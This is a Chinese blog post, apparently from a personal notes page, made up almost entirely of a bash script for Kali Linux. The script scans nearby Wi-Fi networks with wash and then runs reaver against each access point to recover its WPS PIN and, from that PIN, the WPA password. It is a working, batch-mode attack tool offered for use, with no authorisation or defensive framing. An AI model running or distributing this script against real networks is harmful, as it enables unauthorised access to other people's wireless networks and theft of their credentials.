kali-經過獲取路由器pin碼套取無線網絡密碼shell腳本

直接上腳本吧, 我作個筆記。bash

#*************************************************************************
#         > File Name: wifi.sh
#         > Author: chenglee
#         > Main : chengkenlee@sina.com
#         > Blog : http://www.cnblogs.com/chenglee/
#         > Created Time : Tue 26 Mar 2019 09:30:16 PM CST
#*************************************************************************
#!/bin/bash

wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'`

function Wwash(){
    echo "判斷網卡是否以掛載..."
    if [ -z "${wlanname}" ];then
        echo "網卡沒掛載, 請先手動掛載網卡"
        exit;
    else
        echo "網卡已掛載,判斷是否已啓動監聽模式"
        #airmon-ng start ${wlanname}
        wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'`
        string="mon"
        if [[ $wlanname =~ $string ]];then
            echo "監聽模式正常, 開始掃描附近無線網絡..."
            nohup wash -i ${wlanname} > logs/file 2>&1 &
        else
            echo "監聽模式異常, 準備重啓監聽模式"
            airmon-ng stop ${wlanname}
            airmon-ng start ${wlanname}
            echo "檢查網卡監聽模式狀態"
            if [[ $wlanname =~ $string ]];then
                echo "監聽模式正常, 開始掃描附近無線網絡..."
                nohup wash -i ${wlanname} > logs/file 2>&1 &
            else
                echo "定點異常,請插拔網卡後繼續運行此腳本"
                exit;
            fi
        fi
    fi
}
function file(){
    sleep 5;
    num=`cat -n logs/file | grep BSSID | awk -F ' ' '{print$1}'`
    number=`expr ${num} + 2`
    nullnum=`sed -n ''"$number"',$p' logs/file | awk '/^$/{print NR}' | head -n 1`
    if [ "$nullnum" =  "" ];then
        sed -n ''"$number"',$p' logs/file | awk -F ' ' '{print$1,$2}' > logs/file1
        cat logs/file1 | awk -F ' ' '{print$1}' > logs/mac
        cat logs/file1 | awk -F ' ' '{print$2}' > logs/ch
    else
        sed -n ''"$number"',$p' logs/file | awk -F ' ' '{print$1,$2}' > logs/file1
        nullnu=`expr ${nullnum} - 1`
        sed -n '1,'"$nullnu"'p' logs/file1 > logs/file2
        cat logs/file2 | awk -F ' ' '{print$1}' > logs/mac
        cat logs/file2 | awk -F ' ' '{print$2}' > logs/ch
    fi
}
function Rreaver(){
    wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'`
    exec 3<"logs/mac"
    exec 4<"logs/ch"
    while read line1<&3 && read line2<&4
    do
        echo "後臺分析物理地址爲:${line1},信道爲:${line2}的無線網絡數據, 請稍後..."
        nohup reaver -i ${wlanname} -b ${line1} -c ${line2} -vv -K 0 >> logs/${line1}.logs 2>&1 &
    done
}
function analyse_PIN(){
    lsatstring="logs"
    exec 5<"logs/mac"
    while read line3<&5
    do
        WPA_PIN=`cat logs/${line3}.${lsatstring} | grep WPA`
        if [ "$WPA_PIN" =  "" ];then
            echo "${line3}-PIN碼獲取不到, 繼續判斷..."
        else
            echo "${line3}-PIN碼獲取成功!!PIN碼:${WPA_PIN}"
            echo "${line3}" >> logs/pin_mac 2>&1 &
            echo "${WPA_PIN}" | awk -F ':' '{print$NF}' | sed 's/ //g' >> logs/pin_pin 2>&1 &
        fi
    done
}
function Ppin(){
    wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'`
    exec 6<"logs/pin_mac"
    exec 7<"logs/pin_pin"
    while read line4<&6 && read line5<&7
    do
        echo "開始經過(路由器):${line4},pin碼:${line5},套取密碼..."
        nohup reaver -i ${wlanname} -b ${line4} -p ${line5} >> logs/${line5}.logs 2>&1 &
    done
}
function pass(){
    lsatstring="logs"
    exec 8<"logs/pin_pin"
    while read line6<&8
    do
        PassWord=`cat logs/${line6}.${lsatstring} | grep PSK`
        if [ "$PassWord" =  "" ];then
            echo "PIN碼爲:${line6},密碼獲取失敗, 繼續獲取..."
        else
            echo "PIN碼爲:${line6},密碼獲取成功,請前行 logs/${line6}.${lsatstring}文件查看相關 SSID,PASS等信息"
        fi
    done
}
function logs(){
    if [ -d "logs" ];then
        echo ""
        Wwash
        sleep 10;
        file
    else
        echo ""
        mkdir logs
        Wwash
        sleep 10;
        file
    fi
}
function main(){
    #logs
    #file
###############多重循環暴力區###############    
    #Rreaver
    #analyse_PIN
    #Ppin
    #pass
###############多重循環暴力區###############
}
main
相關文章
相關標籤/搜索